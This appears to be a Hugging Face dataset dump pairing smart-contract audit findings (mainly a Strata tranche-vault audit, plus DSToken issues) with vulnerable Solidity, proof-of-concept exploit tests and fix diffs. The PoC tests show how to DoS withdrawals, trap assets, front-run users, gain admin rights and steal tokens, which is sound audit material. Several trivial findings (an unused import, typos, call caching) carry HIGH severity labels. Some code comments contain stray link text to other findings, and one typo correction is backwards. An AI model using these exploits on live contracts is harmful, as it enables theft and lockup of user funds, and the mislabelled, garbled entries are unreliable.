Farseen0/scar-pairs huggingface dataset:
HIGH severity: Users can get their withdrawal active requests DoSed by malicious users. **Description:** Users can opt to withdraw either `USDe` or `sUSDe`.
- When withdrawing `sUSDe`, the assets can be put on a cooldown period depending on the Tranche from which the withdrawal is requested.
- When withdrawing `USDe`, regardless of the Tranche from which the withdrawal is requested,...

Vulnerable code:
function transfer(IERC20 token, address to, uint256 amount) external {
@>      address from = msg.sender;
        ...
        SafeERC20.safeTransferFrom(token, from, address(proxy), amount);
        ...

@>      requests.push(TRequest(uint64(unlockAt), proxy));
        emit Requested(address(token), to, amount, unlockAt);
    }

function test_DoSUserActiveRequests() public {
        address alice = makeAddr("Alice");
        address bob = makeAddr("Bob");

        uint256 initialDeposit = 1000 ether;
        USDe.mint(alice, initialDeposit);
        USDe.mint(bob, initialDeposit);

        vm.startPrank(alice);
        USDe.approve(address(jrtVault), type(uint256).max);
        jrtVault.deposit(initialDeposit, alice);
        vm.stopPrank();

        vm.startPrank(bob);
        USDe.approve(address(jrtVault), type(uint256).max);
        jrtVault.deposit(initialDeposit, bob);
        vm.stopPrank();

        //@audit => Alice requests to withdraw its full USDe balance
        uint256 totalWithdrawableAssets = jrtVault.maxWithdraw(alice);
        vm.prank(alice);
        jrtVault.withdraw(totalWithdrawableAssets, alice, alice);

        //@audit => Bob does a huge amount of tiny withdrawals to inflate the activeRequests array of Alice
        vm.pauseGasMetering();
            for(uint i = 0; i < 35_000; i++) {
                vm.prank(bob);
                jrtVault.withdraw(1, alice, bob);
            }
        vm.resumeGasMetering();

        //@audit-info => Skip till a timestamp where the requests can be finalized
        skip(1_000_000);

        //@audit-issue => Alice gets DoS her tx to finalize the withdrawal of her USDe balance
        vm.prank(alice);
        unstakeCooldown.finalize(sUSDe, alice);
    }
HIGH severity: Mechanism to prevent donation attack can be gamed to cause withdrawals to revert causing assets to get stuck on the Strategy. **Description:** Each time a withdrawal occurs, a check is performed to ensure that TrancheShares `totalSupply()` doesn't fall below a pre-defined boundary (`MIN_SHARES`). But, there is a way to game this mechanism such that it causes all withdrawals to revert because the `shares<=>assets ratio`...

Vulnerable code:
function _withdraw(
        ...
    ) internal override {
       ...
        _onAfterWithdrawalChecks();
        emit Withdraw(caller, receiver, owner, assets, shares);
    }

    function _onAfterWithdrawalChecks () internal view {
@>      if (totalSupply() < MIN_SHARES) {
            revert MinSharesViolation();
        }
    }

function test_GameDonationAttackProtectionToTrapAssets() public {
        address alice = makeAddr("Alice");
        address bob = makeAddr("Bob");
        // Same value as in the Tranche contract
        uint256 MIN_SHARES = 0.1 ether;

        USDe.mint(bob, 1000 ether);
        vm.startPrank(bob);
            //@audit => Bob initializes the exchange rate on sUSDe
            USDe.approve(address(sUSDe), type(uint256).max);
            sUSDe.deposit(1000 ether, bob);
        vm.stopPrank();

        uint256 initialDeposit = 1000 ether;
        USDe.mint(alice, initialDeposit);
        USDe.mint(bob, initialDeposit);

        vm.startPrank(alice);
            USDe.approve(address(sUSDe), type(uint256).max);
            sUSDe.deposit(1e18, alice);
            // Step 1 => Alice transfers 1 sUSDe directly to the strategy to inflate the exchange rate and deposits 1.1e18 USDe that results in minting 1 TrancheShare
            sUSDe.transfer(address(sUSDeStrategy), 1e18);
            USDe.approve(address(jrtVault), type(uint256).max);
            jrtVault.deposit(1.1e18, alice);
        vm.stopPrank();

        assertEq(jrtVault.totalSupply(), 1);

        USDe.mint(bob, 1_000_000e18);
        vm.startPrank(bob);
            USDe.approve(address(jrtVault), type(uint256).max);
            //Step 2 => Now Bob deposits 1million USDe into the Tranche
            //Because of the manipulated exchange rate, the total minted TrancheShares for such a big deposits won't even be enough to reach the MIN_SHARES
            jrtVault.deposit(1_000_000e18, bob);
            assertLt(jrtVault.totalSupply(), MIN_SHARES);

            //Step 3 => Bob attempts to make a withdrawal, but the withdrawal reverts because the total shares on the Tranche don't reach MIN_SHARES
            vm.expectRevert(IErrors.MinSharesViolation.selector);
            jrtVault.withdraw(10_000e18, bob, bob);

            vm.expectRevert(IErrors.MinSharesViolation.selector);
            jrtVault.withdraw(100e18, bob, bob);

            vm.expectRevert(IErrors.MinSharesViolation.selector);
            jrtVault.withdraw(90_000e18, bob, bob);

            vm.expectRevert(IErrors.MinSharesViolation.selector);
            jrtVault.withdraw(1e18, bob, bob);
        vm.stopPrank();
    }
MEDIUM severity: Reducing reserves requesting `USDe` as the asset to receive causes the Strategy to release more `sUSDe` than necessary. **Description:** When reducing reserves and asking for `USDe`, the Strategy incorrectly transfers sUSDe for the actual amount of asked `USDe` (`tokenAmount`) instead of only transferring the required `sUSDe` to cover the requested `tokenAmount` of `USDe`.

**Impact:** The strategy releases more...

Vulnerable code:
//sUSDeStrategy::reduceReserve()//
    function reduceReserve (address token, uint256 tokenAmount, address receiver) external onlyCDO {
        ...
        if (token == address(USDe)) {
            //@audit-issue => transfer sUSDe for `tokenAmount` which is in USDe.
            unstakeCooldown.transfer(sUSDe, receiver, tokenAmount);
            return;
        }
        revert UnsupportedToken(token);
    }

function reduceReserve (address token, uint256 tokenAmount, address receiver) external onlyCDO {
       ...
        if (token == address(USDe)) {
+           uint256 shares = sUSDe.previewWithdraw(tokenAmount);
+           unstakeCooldown.transfer(sUSDe, receiver, shares);
-           unstakeCooldown.transfer(sUSDe, receiver, tokenAmount);
            return;
        }
        revert UnsupportedToken(token);
    }
MEDIUM severity: When Senior's TargetGain is negative, the tx will revert because the senior loss is not accounted for on the Junior Tranche as profit, causing the navs summation to not match the current nav. **Description:** When `srtGainTarget < 0`, the code transfers senior loss to `jrtNavT0` *after* initializing `jrtNavT1 = jrtNavT0 + gain_dTAbs`. This fails to propagate the junior "profit" to `jrtNavT1`, leaving it unchanged.

**Impact:** Tx will revert with error `InvalidNavSpit()` because the...

Vulnerable code:
if (srtGainTarget < 0) {
            // Should never happen, jic: transfer the loss to Juniors as profit
            uint256 loss = uint256(-srtGainTarget);
            uint256 srtLoss = Math.min(srtNavT0, loss);

            srtNavT0 -= srtLoss;
//@audit-issue => Updates jrtNavT0 instead of T1
@>          jrtNavT0 += srtLoss;
            srtGainTarget = 0;
        }
        uint256 srtGainTargetAbs = Math.min(
            uint256(srtGainTarget),
            Math.saturatingSub(jrtNavT1, 1e18)
        );

          // [*Users can get their withdrawal active requests DoSed by malicious users*](#users-can-get-their-withdrawal-active-requests-dosed-by-malicious-users) Final new Jrt
        jrtNavT1 = jrtNavT1 - srtGainTargetAbs;
        // [*Withdrawers of `sUSDe` always incur a loss because parameters passed from `Tranche::_withdraw` to `CDO::withdraw` are inverted*](#withdrawers-of-susde-always-incur-a-loss-because-parameters-passed-from-tranchewithdraw-to-cdowithdraw-are-inverted) Final new Srt
        srtNavT1 = srtNavT0 + srtGainTargetAbs;

//@audit-issue => sum of navs won't match because the senior loss is missing on jrtNavT1
        if (navT1 != (jrtNavT1 + srtNavT1 + reserveNavT1)) {
            revert InvalidNavSpit(navT1, jrtNavT1, srtNavT1, reserveNavT1);
        }

if (srtGainTarget < 0) {
            // Should never happen, jic: transfer the loss to Juniors as profit
            uint256 loss = uint256(-srtGainTarget);
            uint256 srtLoss = Math.min(srtNavT0, loss);

            srtNavT0 -= srtLoss;
-           jrtNavT0 += srtLoss;
+           jrtNavT1 += srtLoss;
            srtGainTarget = 0;
        }
        ...
MEDIUM severity: `Tranche::maxMint` for Junior Tranches is at risk of overflow when the `jrNav` falls below `1:1` rate to `JR_Shares`. **Description:** Given that the system is composed of two tranches (Senior and Junior), and all the assets deposited among the two Tranches are polled together on the Strategy, the actual `totalAssets()` for each Tranche is calculated using the corresponding NAVs (`srtNav` and `jrtNav`).
The...

Vulnerable code:
function test_MaxMintOverflowsInJrTranche() public {
        address alice = makeAddr("Alice");

        uint256 initialDeposit = 1000 ether;
        USDe.mint(alice, initialDeposit);

        vm.startPrank(alice);
        USDe.approve(address(jrtVault), type(uint256).max);
        jrtVault.deposit(initialDeposit, alice);
        vm.stopPrank();

//@audit-info => Simulate 10% losses on the Jr Strategy
//@audit => This would be akin to JR Tranche covering losses or making Senior's APR whole.
        vm.prank(address(sUSDeStrategy));
        sUSDe.transfer(alice, initialDeposit / 10);

        vm.expectRevert();
        jrtVault.maxMint(alice);
    }

// Tranche::maxMint //

    function maxMint(address owner) public view override returns (uint256) {
        uint256 assets = cdo.maxDeposit(address(this));
+       if (assets == type(uint256).max) {
+          return type(uint256).max;
+       }
        return convertToShares(assets);
    }
LOW severity: `Accounting::setMinimumJrtSrtRatio` sets `reserveBps` instead of `minimumJrtSrtRatio` making ratio configuration impossible. **Description:** The `Accounting::setMinimumJrtSrtRatio` function contains a an implementation error where it modifies the wrong state variable. Instead of setting `minimumJrtSrtRatio`, the function incorrectly sets `reserveBps`, making it impossible to configure the minimum Junior-to-Senior...

Vulnerable code:
function setMinimumJrtSrtRatio (uint256 bps) external onlyOwner {
        require(bps <= RESERVE_BPS_MAX, "ReserveBpsMax");
        reserveBps = bps;
        emit ReservePercentageChanged(reserveBps);
    }

++event MinimumJrtSrtRatioChanged(uint256 minimumJrtSrtRatio);

function setMinimumJrtSrtRatio (uint256 bps) external onlyOwner {
-   require(bps <= RESERVE_BPS_MAX, "ReserveBpsMax");
-   reserveBps = bps;
-   emit ReservePercentageChanged(reserveBps);
+   require(bps <= 1e18, "InvalidRatio"); // Max 100%
+   minimumJrtSrtRatio = bps;
+   emit MinimumJrtSrtRatioChanged(minimumJrtSrtRatio);
}
LOW severity: Inconsistent APR boundary validation between `AprPairFeed` and `Accounting`. **Description:** There is a mismatch between APR boundary validation constants in `AprPairFeed` and `Accounting` contracts. The `AprPairFeed` accepts negative APRs down to -50%, but the `Accounting` contract rejects any negative APR values, thus data deemed valid by the oracle is rejected during...

Vulnerable code:
// AprPairFeed
int64 private constant APR_BOUNDARY_MAX =    2e12; // 200%
int64 private constant APR_BOUNDARY_MIN = -0.5e12; // -50%

     /// @dev Validates that the given APR is within acceptable bounds
    function ensureValid(int64 answer) internal pure {
        require(
            APR_BOUNDARY_MIN <= answer && answer <= APR_BOUNDARY_MAX,
            "INVALID_APR"
        );


// Accounting
int64   private constant APR_BOUNDARY_MAX = 200e12;
int64   private constant APR_BOUNDARY_MIN = 0;

    function normalizeAprFromFeed (/* SD7x12 */ int64 apr) internal pure returns (UD60x18) {
        require(
            APR_BOUNDARY_MIN <= apr && apr <= APR_BOUNDARY_MAX,
            "invalid apr"
        );

// Accounting.sol
- int64   private constant APR_BOUNDARY_MIN = 0;
+ int64   private constant APR_BOUNDARY_MIN = -0.5e12; // -50%
LOW severity: Frontrunning to Block Junior Tranche Withdrawals. **Description:** In `Accounting.sol`, the junior tranche's `maxWithdraw` is capped to ensure the post-withdrawal Junior NAV (`jrtNav`) remains at least `srtNav * minimumJrtSrtRatio / 1e18` (default 5%). This check uses the current (post-any-updates) NAVs from storage and is called during...

Vulnerable code:
uint256 maxAssets = maxWithdraw(owner);
if (baseAssets > maxAssets) {
            revert ERC4626ExceededMaxWithdraw(owner, baseAssets, maxAssets);
        }

function test_FrontrunJRTWithdrawal() public {
    // Setup initial state: Mint and deposit to JRT and SRT
    address victim = address(0x1234);
    address attacker = address(0x5678);
    address initialDepositor = address(0x9999);

    uint256 initialJRTDeposit = 100 ether; // jrtNav ≈ 100 ether
    uint256 initialSRTDeposit = 1000 ether; // srtNav ≈ 1000 ether
    uint256 victimWithdrawalAmount = 40 ether; // Should be valid pre-attack
    uint256 attackDepositAmount = 1000 ether; // Enough to push JRT maxWithdraw to 0

    // Victim deposits to JRT
    vm.startPrank(victim);
    USDe.mint(victim, initialJRTDeposit);
    USDe.approve(address(jrtVault), initialJRTDeposit);
    jrtVault.deposit(initialJRTDeposit, victim);
    vm.stopPrank();

    // Initial depositor to SRT (could be anyone)
    vm.startPrank(initialDepositor);
    USDe.mint(initialDepositor, initialSRTDeposit);
    USDe.approve(address(srtVault), initialSRTDeposit);
    srtVault.deposit(initialSRTDeposit, initialDepositor);
    vm.stopPrank();

    // Verify initial state: JRT maxWithdraw should allow the withdrawal
    uint256 preMaxWithdraw = accounting.maxWithdraw(true); // isJrt=true
    assertGt(preMaxWithdraw, victimWithdrawalAmount, "Initial maxWithdraw too low");

    // Simulate attacker frontrunning with large SRT deposit
    vm.startPrank(attacker);
    USDe.mint(attacker, attackDepositAmount);
    USDe.approve(address(srtVault), attackDepositAmount);
    srtVault.deposit(attackDepositAmount, attacker);
    vm.stopPrank();

    // Now simulate victim's withdrawal attempt (should fail due to updated cap)
    vm.startPrank(victim);
    vm.expectRevert(
        abi.encodeWithSelector(
            ERC4626ExceededMaxWithdraw.selector,
            victim,
            victimWithdrawalAmount,
            0 // Post-attack maxWithdraw should be 0
        )
    );
    jrtVault.withdraw(victimWithdrawalAmount, victim, victim);
    vm.stopPrank();

    // Verify post-attack state
    uint256 postMaxWithdraw = accounting.maxWithdraw(true);
    assertEq(postMaxWithdraw, 0, "Post-attack maxWithdraw not zeroed");
}
LOW severity: `DEFAULT_ADMIN_ROLE` can be mistakenly granted to an account when granting permission to call `fallback` on any contract. **Description:** `AccessControlManager` is in charge of managing roles and permissions for accounts to determine what users can call on which contracts.

Permissions are granted at the selector level, and is possible to grant permissions to only one contract at a time, or authorize an account to...

Vulnerable code:
function grantCall(address contractAddress, bytes4 sel, address accountToPermit) public {
//@audit-issue => The calculated role for `address(0)` and `bytes4(0)` is bytes32(0)`
        bytes32 role = roleFor(contractAddress, sel);
//@audit-issue => Granting bytes32(0) to the account results in granting the DEFAULT_ADMIN_ROLE
        grantRole(role, accountToPermit);
        emit PermissionGranted(accountToPermit, contractAddress, sel);
    }

    function roleFor(address contractAddress, bytes4 sel) internal pure returns (bytes32 role) {
//@audit-issue => The calculated role for `address(0)` and `bytes4(0)` is bytes32(0)`
        role = (bytes32(uint256(uint160(contractAddress))) << 96) | bytes32(uint256(uint32(sel)));
    }

function test_grantsDefaultAdminByMisstake() public {
        bytes32 DEFAULT_ADMIN_ROLE = acm.DEFAULT_ADMIN_ROLE();

        address contractAddress = address(0);
        bytes4 selector = bytes4(0);

        address alice = makeAddr("Alice");

        assertFalse(acm.hasRole(DEFAULT_ADMIN_ROLE, alice));

        //@audit-issue => Granting permission to alice to call fallback function on any contract results on granting Alice the DEFAULT_ADMIN_ROLE
        acm.grantCall(contractAddress, selector, alice);
        assertTrue(acm.hasRole(DEFAULT_ADMIN_ROLE, alice));

        address contractA = makeAddr("contractA");
        address bob = makeAddr("bob");
        bytes4 withdrawSelector = bytes4(keccak256(bytes("withdraw(address,uint256)")));

        assertFalse(acm.hasPermission(bob, contractA, withdrawSelector));

        //@audit-info => Alice w/ DEFAULT_ADMIN can grant permissions to other accounts
        vm.startPrank(alice);
        acm.grantCall(contractA, withdrawSelector, bob);
        assertTrue(acm.hasPermission(bob, contractA, withdrawSelector));
    }

function grantCall(address contractAddress, bytes4 sel, address accountToPermit) public {
        bytes32 role = roleFor(contractAddress, sel);
+       require(role != DEFAULT_ADMIN_ROLE, "Granting DEFAULT_ADMIN_ROLE");
        grantRole(role, accountToPermit);
        emit PermissionGranted(accountToPermit, contractAddress, sel);
    }
HIGH severity: Unused Import of `OwnableUpgradeable` in `Accounting.sol`. **Description:** `OwnableUpgradeable` is imported but not used directly in this file.

**Recommended Mitigation:** Remove the unused import to improve code cleanliness:

**Strata:**
Fixed in commit [cfc5117b](https://github.com/Strata-Money/contracts-tranches/commit/cfc5117b07d639d95319153b82c299972...

Vulnerable code:
- import { OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
HIGH severity: Typos and Bad NATSPEC. **Description:** We have identified the following typos/NATSPEC problems:

**Strata:**
Fix in commit [506c4c](https://github.com/Strata-Money/contracts-tranches/commit/506c4c744dc6dea538bb8b69dade114bee1aeb5e) by correcting Typos and updating Natspec.

**Cyfrin:** Verified.

Vulnerable code:
AccessControlled.sol
29: `NewAccessControlManager` should be `NewAccessControllManager`

Accounting.sol:
66: `InvalidNavSpit` should be `InvalidNavSplit`

ERC20Cooldown.sol:
10: `allows to store` should be `allows storing`

StrataCDO.sol:
42: `Sinior` should be `Senior`
62: `@notice` is empty

UnstakeCooldown.sol:
144: `for a tokens` should be `for tokens`
HIGH severity: Cache result of external calls when result can't change between calls and is used multiple times. **Description:** * `Tranche.sol`

**Recommended Mitigation:**

**Strata:**
Fixed in commit [732b1a8](https://github.com/Strata-Money/contracts-tranches/commit/732b1a8ee5ae0bda763f74556f89bbb28b63f784) by caching the result of the call `cdo::strategy` and re-using it.

**Cyfrin:**...

Vulnerable code:
// configure
212:        IERC20[] memory tokens = cdo.strategy().getSupportedTokens();
213:        uint256 len = tokens.length;
214:        address strategy = address(cdo.strategy());

++import { IStrategy } from "./interfaces/IStrategy.sol";
[…]
    function configure () external onlyCDO {
--      IERC20[] memory tokens = cdo.strategy().getSupportedTokens();
--      uint256 len = tokens.length;
--      address strategy = address(cdo.strategy());
++      address strategy = address(cdo.strategy());
++      IERC20[] memory tokens = IStrategy(strategy).getSupportedTokens();
++      uint256 len = tokens.length;
HIGH severity: Investors can steal tokens from other investors since `StandardToken::transferFrom` never checks spending approvals. **Description:** Investors can steal tokens from other investors since `StandardToken::transferFrom` never checks spending approvals.

**Proof of Concept:** Add PoC to `test/dstoken-regulated.test.ts`:

Run with: `npx hardhat test --grep "Investors can steal tokens from other...

Vulnerable code:
describe('TransferFrom', function () {
    it('Investors can steal tokens from other investors', async function () {
      // setup 2 investors
      const [investor, investor2] = await hre.ethers.getSigners();
      const { dsToken, registryService, rebasingProvider } = await loadFixture(deployDSTokenRegulated);
      await registerInvestor(INVESTORS.INVESTOR_ID.INVESTOR_ID_1, investor, registryService);
      await registerInvestor(INVESTORS.INVESTOR_ID.INVESTOR_ID_2, investor2, registryService);

      // give first investor some tokens
      await dsToken.issueTokens(investor, 500);

      const valueToTransfer = 100;
      const shares = await rebasingProvider.convertTokensToShares(valueToTransfer);
      const multiplier = await rebasingProvider.multiplier();

      // connect as second investor
      const dsTokenFromInvestor = await dsToken.connect(investor2);

      // use `transferFrom` to steal tokens from first investor, even though
      // first investor never approved second investor as a spender
      await expect(dsTokenFromInvestor.transferFrom(investor, investor2, valueToTransfer))
        .to.emit(dsToken, 'TxShares')
        .withArgs(investor.address, investor2.address, shares, multiplier);
    });
  });
MEDIUM severity: Country updates is not reducing from the storage the prev country. **Description:** The `adjustInvestorCountsAfterCountryChange` function in `ComplianceServiceRegulated.sol` contains an accounting flaw that leads to double counting of investors across countries. When an investor changes their country through `RegistryService.setCountry()`, the function correctly...

Vulnerable code:
function setCountry(string calldata _id, string memory _country) public override onlyExchangeOrAbove investorExists(_id) returns (bool) {
        string memory prevCountry = getCountry(_id); <----------

        getComplianceService().adjustInvestorCountsAfterCountryChange(_id, _country, prevCountry);
        ...
    }

function adjustInvestorCountsAfterCountryChange(
    string memory _id,
    string memory _country,
    string memory /*_prevCountry*/  // Previous country parameter is ignored
) public override onlyRegistry returns (bool) {
    if (getToken().balanceOfInvestor(_id) == 0) {
        return false;
    }

    // Only increases counts for new country
    adjustInvestorsCountsByCountry(_country, _id, CommonUtils.IncDec.Increase);
    // Missing: adjustInvestorsCountsByCountry(_prevCountry, _id, CommonUtils.IncDec.Decrease);

    return true;
}

it('PoC: Country change double counting bug', async function() {
      const [wallet] = await hre.ethers.getSigners();
      const { dsToken, registryService, complianceConfigurationService, complianceService } = await loadFixture(deployDSTokenRegulated);

      // Setup
      await complianceConfigurationService.setCountryCompliance(INVESTORS.Country.USA, INVESTORS.Compliance.US);
      await complianceConfigurationService.setCountryCompliance(INVESTORS.Country.JAPAN, INVESTORS.Compliance.JP);

      await registerInvestor(INVESTORS.INVESTOR_ID.INVESTOR_ID_1, wallet, registryService);
      await registryService.setAttribute(INVESTORS.INVESTOR_ID.INVESTOR_ID_1, 2, 1, 0, ""); // Make accredited

      // Set initial country and issue tokens
      await registryService.setCountry(INVESTORS.INVESTOR_ID.INVESTOR_ID_1, INVESTORS.Country.USA);
      await dsToken.setCap(1000);
      await dsToken.issueTokens(wallet, 100);

      // Verify initial state: 1 US investor
      expect(await complianceService.getUSInvestorsCount()).to.equal(1);
      expect(await complianceService.getJPInvestorsCount()).to.equal(0);

      // Change country from USA to JAPAN
      await registryService.setCountry(INVESTORS.INVESTOR_ID.INVESTOR_ID_1, INVESTORS.Country.JAPAN);

      // VULNERABILITY: Both countries now count the same investor
      expect(await complianceService.getUSInvestorsCount()).to.equal(1); // Should be 0
      expect(await complianceService.getJPInvestorsCount()).to.equal(1);  // Should be 1
    });